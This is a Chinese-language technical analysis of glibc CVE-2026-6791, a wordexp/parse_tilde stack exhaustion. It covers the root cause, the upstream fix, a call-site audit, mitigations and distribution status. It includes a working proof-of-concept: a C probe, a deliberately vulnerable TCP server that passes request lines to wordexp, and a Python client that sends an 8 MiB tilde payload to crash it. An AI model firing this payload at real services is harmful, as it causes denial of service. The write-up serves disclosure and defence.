一条 8 MiB 的字符串,不需要账号、不需要权限,远程就能让进程 SIGSEGV。glibc 里活了二十四年的 wordexp,栽在一个 ~ 上。

输入 ~ 后跟 8388608 个字符,GNU C Library 的 wordexp 在栈上一次性划出同等字节——分配尺寸等于输入长度,线程栈默认 8 MiB 上限就是崩溃阈值。CVE-2026-6791(GLIBC-SA-2026-0013)影响 glibc 2.2.3 至 2.43,触发不需要本地账号,只要应用把不可信字符串交给 wordexp,一条 8 MiB 请求就能让进程 SIGSEGV。

项

值

CVE

CVE-2026-6791

组件

GNU C Library,wordexp / parse_tilde

类型

栈耗尽 / stack clash(unbounded alloca)

CWE

CWE-121

CVSS 4.0

6.6 MEDIUM,CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:L/SA:H/E:U

影响版本

2.2.3 到 2.43

漏洞引入

Vulnerable-Commit 344af000e1d6e9c7882b9bc48e71cb3f1b5fc03c(2.2.3-114)

修复提交

07c24f35392b727e6100d33edfdf811a6c68c218

公告

GLIBC-SA-2026-0013,Public-Date 2026-06-22

报告者

storm(GLIBC-SA 公告 Reported-by)

一、展开链最前段的 tilde

wordexp 是 POSIX.2 定义的展开函数,把一串输入按 shell 词法展开成单词数组:变量替换、通配符、命令替换(需显式开 WRDE_NOCMD 之外的模式)以及 tilde 展开。展开顺序沿用 shell 的既定次序,tilde 展开发生在变量展开、命令替换、算术展开与字段切分之前。~user/path 会在展开链的最前段被替换成 user 家目录拼接的绝对路径,we_wordv[0] 直接承载结果。

parse_tilde 在 posix/wordexp.c 里有两个调用点,都作用于未经后续处理的原始输入段:

来源:posix/wordexp.c(glibc-2.42,未修复)

来源:posix/wordexp.c(glibc-2.42,未修复)

主入口对每个词尝试展开;变量值内嵌入口多了一层 if (quoted || exp_len) break;——只有引号内或已展开出内容时才跳过 tilde 分支。两个入口拿到输入后都不做长度规范化,parse_tilde 看到的是"从 ~ 之后到下一个终止字符"的原始窗口。WRDE_NOCMD 之类的标志位只影响命令替换分支,对 tilde 展开没有约束力——复现探针里开 WRDE_NOCMD 只是避免任何命令路径的干扰,崩溃路径完全由 tilde 分支单独承载。

二、parse_tilde 的无上限窗口

parse_tilde 先判断 ~ 是否处于词首,再进入用户名截取循环,循环的唯一终止条件是 :、/、空格、制表符或串尾:

来源:posix/wordexp.c(glibc-2.42,未修复)

  for (i = 1 + *offset; words[i]; i++)
    {
      if (words[i] == ':' || words[i] == '/' || words[i] == ' '
      || words[i] == '\t' || words[i] == '\0' )
    break;

      if (words[i] == '\\')
    {
      *word = w_addchar (*word, word_length, max_length, '~');
      return *word ? 0 : WRDE_NOSPACE;
    }
    }

  if (i == 1 + *offset)
    {
      /* Tilde appears on its own */
      char* home;
      home = getenv ("HOME");
      ...
    }
  else
    {
      /* Look up user name in database to get home directory */
      char *user = strndupa (&words[1 + *offset], i - (1 + *offset));
      struct passwd pwd, *tpwd;
      int result;
      struct scratch_buffer tmpbuf;
      scratch_buffer_init (&tmpbuf);

      while ((result = __getpwnam_r (user, &pwd, tmpbuf.data, tmpbuf.length,
                     &tpwd)) != 0
         && errno == ERANGE)
    if (!scratch_buffer_grow (&tmpbuf))
      return WRDE_NOSPACE;

      if (result == 0 && tpwd != NULL && pwd.pw_dir)
    *word = w_addstr (*word, word_length, max_length, pwd.pw_dir);
      else
    {
      *word = w_addchar (*word, word_length, max_length, '~');
      if (*word != NULL)
        *word = w_addstr (*word, word_length, max_length, user);
    }

      scratch_buffer_free (&tmpbuf);

      *offset = i - 1;
    }
  return *word ? 0 : WRDE_NOSPACE;

输入 ~ 后跟 8 MiB 个 a,循环一路扫到串尾,i - (1 + *offset) 就是 8 MiB。没有长度上限,没有对窗口大小的任何约束。strndupa 调用发生在 __getpwnam_r 之前——即使该用户名在用户数据库中不存在(查库必然失败),用户名副本也已经完成栈分配;无效用户名不会让分配消失,只会让崩溃稍晚一点。输入中不需要存在真实用户,只要 ~ 后面跟一串没有终止符的字符,分配就是全额发生的。

三、strndupa:strnlen 直通 __builtin_alloca

strndupa 是 /usr/include/string.h 第 211 行的 GNU 扩展宏,同一族还有第 201 行的 strdupa:

来源:string/string.h(glibc-2.42)

展开链是:strnlen 量出实际长度(不超过 n,这里 n 本身又是窗口长度)→ __builtin_alloca (__len + 1) 在栈上划出 __len + 1 字节 → memcpy 搬入。传给 alloca 的量与输入长度线性相关,无符号比较也没有截断,纯线性映射。

__builtin_alloca 在 x86-64 上最终落到一条 sub rsp, imm。它不经过堆分配器,没有返回值可检查,也没有 NULL 概念。malloc 失败可以通过返回值判断,alloca 失败在语义上不存在——栈指针被直接压到映射之外,直到下一笔栈访问才爆发出 SIGSEGV。strdupa 连长度参数都没有,等价于 alloca (strlen (s) + 1),危险程度更高;parse_tilde 用的是带上限参数的 strndupa,但那个"上限"就是窗口长度本身——strnlen (__old, (n)) 里的 n 来自用户输入,上限和实际量重合,起不到约束作用。

宏的"安全长度参数"在调用点被喂进的是不可信值,这正是本漏洞的语法层根源。

四、__libc_alloca_cutoff 的 1/4 栈阈值

glibc 内部并非没有"大分配该走堆"的惯例。include/alloca.h 声明了 __libc_alloca_cutoff 接口,实现在 nptl/alloca_cutoff.c:

来源:nptl/alloca_cutoff.c

来源:include/alloca.h

__libc_alloca_cutoff 的语义比"65536 常量"更精细:阈值取 min(65536, 当前线程栈大小 / 4)。线程栈的 1/4 是可变长度分配可以占用的栈空间上限;主线程在线程库初始化前 stackblock_size 为 0,走 ?: 兜底到 65536 * 4(256 KiB)。sysdeps/pthread/allocalim.h 里 __libc_use_alloca 还放行了 size <= PTHREAD_STACK_MIN / 4 的小分配。

glibc 内大量代码用 if (__libc_alloca_cutoff (len)) malloc(...) else alloca(...) 的显式分支处理可变长度数据。strndupa 宏没有这层判断,直接裸调 __builtin_alloca。parse_tilde 恰恰处在一个"输入长度完全由调用方字符串决定"的位置,等于把 glibc 内部多年遵循的 cutoff 惯例跳了过去——8 MiB 输入连 256 KiB 的兜底阈值都超出一大截,却依然被当成"小分配"压上栈。

五、8 MiB 转折点

线程栈容量由 RLIMIT_STACK 决定。主线程默认软限 8192 KiB(ulimit -s 输出即此值),对应 8388608 字节。栈映射从高地址向低地址增长,下限大约位于栈顶减去 8388608 字节处;越界访问会落在无映射或 guard 区域,内核拒绝继续扩展栈,进程收到 SIGSEGV。

输入长度与栈余量之间的数量关系直接决定生死:

  • 输入 8,000,000 字节:alloca 划出 8,000,001 字节,从栈顶到新 rsp 的距离比 8388608 的上限小 388,607 字节,memcpy 全程仍在可增长范围内,函数正常返回。
  • 输入 8,388,608 字节:alloca 划出 8,388,609 字节,新 rsp 已经越过映射下限,后续第一笔栈访问即崩溃。

这两个输入只差 388,608 字节,结果从"正常返回一个包含 800 万字符的字符串"跳到"SIGSEGV",转折点精确落在 8388608 上——不是某个魔法常量,而是 RLIMIT_STACK 的默认值本身。把用户名长度喂给 alloca,栈增长量就等于输入长度,线程栈上限就是攻击面。

六、复现:2.36 对照 2.43-4

复现环境是 Kali Rolling:内核 6.19.11+kali-amd64,系统 glibc 2.43-4(已修复)。未修复对照组从 Debian bookworm 的 libc6 2.36-9+deb12u14 解包,用 ld-linux 显式指定 library path 隔离加载。隔离加载的意义在于:同一台机器、同一个探针二进制、同一个用户态环境,唯一变量是动态装载器拉进来的 glibc 版本——2.36 与 2.43-4 的 wordexp 行为因此可以并排对照,不需要重装系统 libc,也不污染宿主。

6.1 获取未修复 libc 并解包

# 下载 Debian bookworm 的 libc6 2.36-9+deb12u14(未修复 glibc)
cd ~/cve-2026-6791
apt download libc6=2.36-9+deb12u14 2>/dev/null || \
  wget -q http://deb.debian.org/debian/pool/main/g/glibc/libc6_2.36-9+deb12u14_amd64.deb
# 解包到 ~/glibc-236,deb 保留在 ~/cve-2026-6791 作为来源凭证
dpkg-deb -x libc6_2.36-9+deb12u14_amd64.deb ~/glibc-236

# 验证装载器与 libc 本体就位
ls -l ~/glibc-236/lib/x86_64-linux-gnu/libc.so.6 \
       ~/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

6.2 探针与隔离运行 wrapper

探针把 ~ 后跟 N 个 a 交给 wordexp,fork 子进程隔离崩溃,主进程总能打印退出码:

/tmp/poc6791_one.c

#include <wordexp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    long n = argc > 1 ? atol(argv[1]) : 16000000L;
    char *buf = malloc(n + 2);
    if (!buf) return 2;
    buf[0] = '~';                        /* 触发 tilde 展开分支 */
    memset(buf + 1, 'a', n);            /* 用户名窗口 = n 字节 */
    buf[n + 1] = 0;
    wordexp_t we;
    int r = wordexp(buf, &we, WRDE_NOCMD);  /* WRDE_NOCMD 只关命令替换 */
    printf("len=%ld wordexp=%d\n", n, r);
    return 0;
}

/tmp/wrap236.sh

#!/bin/bash
# 把探针二进制切到未修复的 glibc 2.36
exec /home/nl/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \
  --library-path /home/nl/glibc-236/lib/x86_64-linux-gnu "$@"

编译并核对链接目标:

# 探针链接系统 libc,运行时由 wrapper 换装 2.36
gcc -O0 -o /tmp/poc6791_one /tmp/poc6791_one.c
chmod +x /tmp/wrap236.sh
ldd /tmp/poc6791_one

6.3 临界点扫描

# rc=139 即子进程 SIGSEGV;8,000,000 正常返回
~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 8000000
echo rc=$?

# 8,388,608 崩溃
~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 8388608
echo rc=$?

~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 16000000
echo rc=$?

临界点落在 8388608 上,与 RLIMIT_STACK 默认值精确重合。

6.4 gdb 现场:崩溃在 __getpwnam_r 的 call 压栈

命令块(gdb 直接加载 2.36 的 ld-linux,经 wrapper 参数进入探针)

gdb -batch \
  -ex 'file /home/nl/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' \
  -ex 'set args --library-path /home/nl/glibc-236/lib/x86_64-linux-gnu /tmp/poc6791_one 8388608' \
  -ex run -ex 'p/x $rsp' -ex 'info proc mappings' -ex 'x/2i $pc'

  • rsp = 0x7fffff7fd5f0 低于栈映射下限 0x7fffff7ff000(栈顶 0x7ffffffff000 减 8 MiB),已完全越界;[stack] vma 只映射到 0x7ffffffde000,越界区无映射。
  • 崩溃 RIP 0x7ffff7ecc0e8 落在 libc r-xp 代码段(0x7ffff7dff000-0x7ffff7f55000)内,反汇编是一条 call 指令。alloca 自身只是 sub rsp,不访问内存;真正触发 fault 的是 alloca 之后的第一笔栈写入——call 把返回地址压到已经越界的 rsp 上。这正是 stack clash 的典型形态:栈指针整体越过映射,而不是单帧内的越界写。
  • 崩溃 call 的下一行是 mov $0x400,%ecx:0x400 = 1024 正是 scratch_buffer 内联区长度,ecx 是 __getpwnam_r 的第四个参数(缓冲区长度)。这证明崩溃点就是 parse_tilde 里 strndupa 之后对 __getpwnam_r 的 PLT 调用——分配、查库两步之间没有任何中间访问能先触发 fault,栈越界被压栈操作精确引爆。

backtrace 不可读是同一原因:帧链指针落在不可访问区,unwind 无从谈起。

6.5 修复版对照

命令块(不经过 wrapper,直接跑系统 glibc 2.43-4)

/tmp/poc6791_one 16000000

16,000,000 字节(约 15.3 MiB)输入在修复版下正常返回:wordexp 返回 0,不再 SIGSEGV。查库失败后用户名按字面保留的行为与新增回归测试 tst-wordexp-tilde.c 的断言一致(见第七节)。同一输入在 2.36 上 SIGSEGV,在 2.43-4 上完整返回,分水岭就是那条 strndupa 的替换。

6.6 修复版 32 MiB:nss-systemd 断言接管

把修复版探针输入继续加大,glibc 侧不再崩溃,但进程仍会中止——这一次来自 NSS 插件。实测临界落在 16 MiB 附近:16000000 正常返回,16777216 已触发同一断言;演示取 32 MiB。Kali 的 /etc/nsswitch.conf 把 passwd 指向 files systemd,__getpwnam_r 会进 nss-systemd 模块,systemd 的用户数据库实现内部对输入长度再做了一次 alloca:

# 系统 glibc 2.43-4 下把输入加大到 32 MiB:越过 nss-systemd 的 alloca 断言
/tmp/poc6791_one 32000000
echo rc=$?

nss-systemd 的 _nn_ 是待查用户名长度,ALLOCA_MAX 是它自己的 alloca 上限常量。它的处理方式恰好是 strndupa 缺少的那一半:用断言把超长分配拦在发生之前。这条路径只在本机 NSS 配置含 systemd 时可达(Debian/Ubuntu 系常见),文件型 NSS 没有这一层;它也不构成安全绕过,失败直接 abort,是比 stack clash 更早、更明确的失败形态。作为对照,它说明"按输入长度 alloca"这一模式在用户态 NSS 生态里仍有残留,修 glibc 一个点不等于整条调用链上所有 alloca 都安全。

七、strndupa 换 scratch_buffer

上游修复提交 07c24f35392b727e6100d33edfdf811a6c68c218(Adhemerval Zanella 于 2026-04-14 提交;公告 Public-Date 2026-06-22)把 strndupa 换成 scratch_buffer,并且复用了原本就为 __getpwnam_r 准备的缓冲区——用户名与查库工作区共用同一块 scratch buffer:

来源:修复提交 07c24f35(sourceware 镜像:https://sourceware.org/cgit/glibc/commit/?id=07c24f35392b727e6100d33edfdf811a6c68c218 )

--- a/posix/wordexp.c
+++ b/posix/wordexp.c
@@ -335,17 +335,29 @@ parse_tilde (char **word, size_t *word_length, size_t *max_length,
   else
     {
       /* Look up user name in database to get home directory */
-      char *user = strndupa (&words[1 + *offset], i - (1 + *offset));
-      struct passwd pwd, *tpwd;
-      int result;
+      size_t userlen = i - (1 + *offset);
+      /* tmpbuf contains both the user and the __getpwnam_r working area.  */
       struct scratch_buffer tmpbuf;
       scratch_buffer_init (&tmpbuf);
+      if (!scratch_buffer_set_array_size (&tmpbuf, userlen + 1, 1))
+	return WRDE_NOSPACE;
+      char *user = tmpbuf.data;
+      memcpy (user, &words[1 + *offset], userlen);
+      user[userlen] = '\0';
 
-      while ((result = __getpwnam_r (user, &pwd, tmpbuf.data, tmpbuf.length,
+      struct passwd pwd, *tpwd;
+      int result;
+      while ((result = __getpwnam_r (user,
+				     &pwd,
+				     tmpbuf.data + userlen + 1,
+				     tmpbuf.length - userlen - 1,
                      &tpwd)) != 0
          && errno == ERANGE)
-	if (!scratch_buffer_grow (&tmpbuf))
-	  return WRDE_NOSPACE;
+	{
+	  if (!scratch_buffer_grow_preserve (&tmpbuf))
+	    return WRDE_NOSPACE;
+	  user = tmpbuf.data;
+	}

scratch_buffer 是 glibc 提供的"小数据走栈、大数据走堆"的缓冲设施:scratch_buffer_init 先在栈上放一个定长内联区(默认 1024 字节),超过内联容量时 scratch_buffer_set_array_size / scratch_buffer_grow_preserve 转用 malloc,并保证旧内容被保留。修复后 parse_tilde 的栈占用是常量:内联区 1024 字节,与用户名长度无关。分配失败的出口是 WRDE_NOSPACE——POSIX wordexp 规定的"内存不足"错误码,语义上比悄无声息的 SIGSEGV 干净得多。

__getpwnam_r 的 ERANGE 重试循环也从"每次都 grow"改成 grow_preserve:因为缓冲区头部现在存着用户名,grow 只扩容不保留内容,会毁掉 user 字符串;grow_preserve 在 realloc 后保留数据,且 user = tmpbuf.data 重新取回可能移动过的指针。修复提交还新增 posix/tst-wordexp-tilde.c,用 test-container 规避系统 NSS 模块干扰,覆盖六条路径:

  • test_known_user:~/rest 解析成已知用户家目录 /home/root/rest;
  • test_bare_tilde:裸 ~ 落到 HOME(测试容器内固定为 /home/tilde);
  • test_unknown_user:1 MiB 未知用户名 ~AAA.../rest 按字面保留,不崩溃;
  • test_tilde_with_append:~/ 加 WRDE_APPEND 仍展开为家目录并追加;
  • test_long_username:2048 字节用户名 ~AAA.../ 走 scratch_buffer 扩容路径后完整保留字面;
  • test_scratch_buffer_growth:512 KiB 栈的子进程里喂 1 MiB 用户名,不再 SIGSEGV。

八、glibc 内 strndupa 调用点审计

修复只动了 parse_tilde 一处,strndupa 宏在 glibc 其他位置仍有调用,多数不带守卫。对未修复 glibc-2.42 源码树做全量扫描:

# 在 glibc 源码树里列出全部 strndupa 调用点
cd ~/cve-2026-6791/glibc-glibc-2.42
grep -rn "strndupa" --include="*.c" --include="*.h" . | grep -v -E "test|tst-|benchtests"

危险判据只有一条:分配长度是否由外部可控输入决定。逐一过:

  • posix/wordexp.c:338 正是 parse_tilde 里那条 strndupa——~user 前缀的用户名段长度由输入串决定,且此处没有 __libc_use_alloca 守卫,超长时直接在栈上划出 i - (1 + *offset) 字节,是本批调用点里最直接的攻击面;
  • putenv.c:68 的 name_end - string 来自环境变量名,长度不受 __MAX_ALLOCA_CUTOFF 约束,但环境变量总大小受 ARG_MAX 限制;且该调用点带 __libc_use_alloca 守卫,超限会走 __strndup 堆分配兜底,不裸 alloca;
  • rtld.c:1884 的 file_size - (problem - file) 来自装载器读入的 ELF 文件内容,动态链接器在用户态可达,长度随文件大小变化——这属于需要警惕的位置;
  • servicescache.c:324、gconv_conf.c:314、wcsmbsload.c:140 类调用点的长度来自 /etc/services、gconv 配置、iconv 名称等系统配置,通常受文件长度与既有上限约束;
  • hurdsocket.h:28 是 Hurd 专用路径。

parse_tilde 是这批调用点里少数把"外部输入长度"直接映射为"栈分配量"且没有任何辅助上限的位置。审计同类宏时,strnlen (s, n) 里的 n 若来自不可信数据,宏的"安全长度参数"就名存实亡。

九、导入 wordexp 的二进制

wordexp 是 GLIBC_2.2.5 时代的老符号,导入它的程序并不少。对 Kali 的 /usr/bin /usr/sbin /bin /sbin 做动态符号扫描:

# 列出动态符号表里导入 wordexp 的 ELF
find /usr/bin /usr/sbin /bin /sbin -maxdepth 1 -type f -executable \
  | xargs -P 8 -I{} sh -c 'readelf -Ws "{}" 2>/dev/null | grep -qw wordexp && echo "{}"'

btmgmt、obexctl、bluetoothctl 是 BlueZ 工具链,ifup 是网络配置脚本前端。导入符号不等于攻击面成立:是否可触发取决于程序是否把外部可控字符串送进 wordexp。但这份列表给出真实的核查起点——对这类调用方,输入若来自命令行参数、DBus 属性或配置文件且无长度校验,同样的 8 MiB 字符串就能把进程打到 SIGSEGV。CVSS 的 AV:N 来自应用层:服务端把用户可控的路径/文件名传给 wordexp 时,攻击者不需要本地账号。AC:H 与 VA:H 对应了"需要应用确实把不可信输入送进 wordexp"与"一旦触发即进程级 DoS"。PR:N/UI:N 意味着触发不依赖任何前置条件与交互。

十、远程触发:fork 隔离 TCP demo

把 AV:N 落地成一个可复现形态:一个 TCP 服务把每个连接读入的一行原样交给 wordexp,请求在 fork 出的子进程里展开,子进程栈耗尽崩溃时不拖垮服务进程。源码刻意保持精简——监听、读一行、fork、wordexp、waitpid,五个动作之外没有任何逻辑。

/tmp/wordexp_http_demo.c

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <wordexp.h>

#define PORT 19100

static void serve(int cfd) {
    size_t cap = 32 * 1024 * 1024;       /* 输入上限,演示可调 */
    char *buf = malloc(cap);
    if (!buf) { close(cfd); return; }
    ssize_t n = read(cfd, buf, cap - 1); /* 阻塞读请求 */
    if (n <= 0) { close(cfd); free(buf); return; }
    buf[n] = 0;
    if (buf[n - 1] == '\n') buf[n - 1] = 0;

    pid_t pid = fork();                  /* 子进程执行,崩溃不拖垮服务 */
    if (pid == 0) {
        wordexp_t we;
        int r = wordexp(buf, &we, WRDE_NOCMD);
        dprintf(cfd, "wordexp=%d we_wordc=%zu\n", r, we.we_wordc);
        _exit(0);
    }
    int st;
    waitpid(pid, &st, 0);                /* 回收崩溃状态,继续服务 */
    close(cfd);
    free(buf);
}

int main(void) {
    int lfd = socket(AF_INET, SOCK_STREAM, 0);
    int one = 1;
    setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
    struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(PORT),
                             .sin_addr = htonl(INADDR_ANY) };
    if (bind(lfd, (struct sockaddr *)&a, sizeof a) || listen(lfd, 8)) {
        perror("bind/listen");
        return 1;
    }
    fprintf(stderr, "listening on :%d\n", PORT);
    for (;;) {
        int cfd = accept(lfd, 0, 0);
        if (cfd < 0) continue;
        serve(cfd);
    }
}
# 编译远程 demo 并启动服务
gcc -O0 -o /tmp/wordexp_http_demo /tmp/wordexp_http_demo.c
/tmp/wordexp_http_demo

# 三次请求:正常展开 → 8 MiB 击穿 → 崩溃后新连接照常展开
python3 - <<'EOF'
import socket
def req(data):
    s = socket.create_connection(("127.0.0.1", 19100), timeout=10)
    try:
        s.sendall(data)
        print(s.recv(4096))
    except Exception as e:
        print(repr(e))
    finally:
        s.close()
req(b"~/x\n")
req(b"~" + b"a" * 8388608 + b"\n")
req(b"~/x\n")
EOF

第一段:~/x 在子进程里展开成家目录,we_wordc=1 正常返回。

第二段:8 MiB 输入让子进程在 parse_tilde 的 strndupa 处耗尽栈,SIGSEGV 后内核关闭该子进程持有的 socket 副本并向客户端发 RST,对端 recv 抛 ConnectionResetError([Errno 104])——不是优雅断开,是崩溃的痕迹。

第三段:waitpid 回收状态后服务进程继续 accept,新连接照常展开。fork 隔离把进程级崩溃转成了连接级失败。

这个形态揭示两层:有 fork 隔离的实现,每个恶意连接消耗一个崩溃的子进程,形成资源耗尽型 DoS;把 wordexp 直接跑在服务主线程的实现,一条 8 MiB 请求就让整个服务 SIGSEGV。崩溃阈值受 RLIMIT_STACK 继承值控制——服务启动前调大 ulimit -s 只抬高门槛,"输入长度 = 栈增长量"的线性关系不变。CVSS 的 AV:N 与 VA:H 在此落地:远程客户端无需本地账号,仅凭一条超长 tilde 输入即可令任意请求处理线程崩溃。

十一、检测与缓解

先确认系统 glibc 是否已修复:

# 检测系统 glibc 版本:包版本与运行时版本两处都是 2.43-4
dpkg -l libc6 | tail -n 1
ldd --version | head -n 1

其余层排布:

  • 应用侧:审查所有 wordexp 调用点的输入来源,对不可信路径/文件名先做长度上限校验(例如拒绝超过 1 MiB 的输入),或直接禁用 tilde 展开路径。wordexp 的输入按 shell 词法解释,调用方对输入来源负有全部责任。
  • 静态审计:在代码库中定位调用点并核对输入来源(命令见第八节)。
  • 运行时:-fstack-clash-protection 编译应用会让大 alloca 触发编译器插入的探测循环。GCC 的探测序列把当前 rsp 与"最近探测点"之间超过一页(4 KiB)的跨度用 sub rsp, 0x1000 分步推进并逐页访问,任何一步越界都会在探测指令上崩溃,而不是在函数体内任意位置。它把崩溃点提前到可诊断的指令,降低"悄悄越界写"的利用价值,但不消除可用性损失——DoS 结果不变。
  • 系统层:升级 glibc 到修复版本是唯一根治手段。ulimit -s 调大只能抬高崩溃阈值,不能消除输入长度与栈增长量的线性关系。

十二、发行版修复状态

发行版

状态

Kali Rolling

修复(2.43-4,本机验证通过)

Debian bookworm 12

受影响(2.36-9+deb12u14,postponed)

Debian trixie 13

受影响(2.41-12+deb13u4,no-dsa)

Debian unstable / sid / forky

修复(2.43-3 / 2.43-7 / 2.43-6)

Ubuntu 22.04 jammy

修复(2.35-0ubuntu3.15)

Ubuntu 24.04 noble

修复(2.39-0ubuntu8.9)

Ubuntu 26.04 resolute

修复(2.43-2ubuntu2.4)

RHEL 8 / 9 / 10

受影响(官方 Affected / Fix deferred);Hardened Images 已修复(RHSA-2026:53069)

openSUSE

glibc 2.44-1.1 修复(openSUSE-SU-2026:11660-1,同批修复 CVE-2026-6368)

引用来源

  1. CVE Record: CVE-2026-6791 — https://www.cve.org/CVERecord?id=CVE-2026-6791
  2. oss-security: GLIBC-SA-2026-0013(2026-08-11)— https://openwall.com/lists/oss-security/2026/08/11/3
  3. glibc 上游修复提交 07c24f35392b727e6100d33edfdf811a6c68c218 — https://sourceware.org/cgit/glibc/commit/?id=07c24f35392b727e6100d33edfdf811a6c68c218
  4. Bugzilla 34091(wordexp: unbounded alloca in parse_tilde)— https://sourceware.org/bugzilla/show_bug.cgi?id=34091
  5. glibc 源码 posix/wordexp.c(glibc-2.42,未修复)— https://sourceware.org/cgit/glibc/tree/posix/wordexp.c?id=glibc-2.42
  6. Debian security tracker: CVE-2026-6791 — https://security-tracker.debian.org/tracker/CVE-2026-6791
  7. Ubuntu USN-8737-1 / USN-8737-2(glibc 修复)— https://ubuntu.com/security/notices/USN-8737-1
  8. openSUSE-SU-2026:11660-1(glibc 2.44-1.1,LWN 转载公告全文)— https://lwn.net/Articles/1092638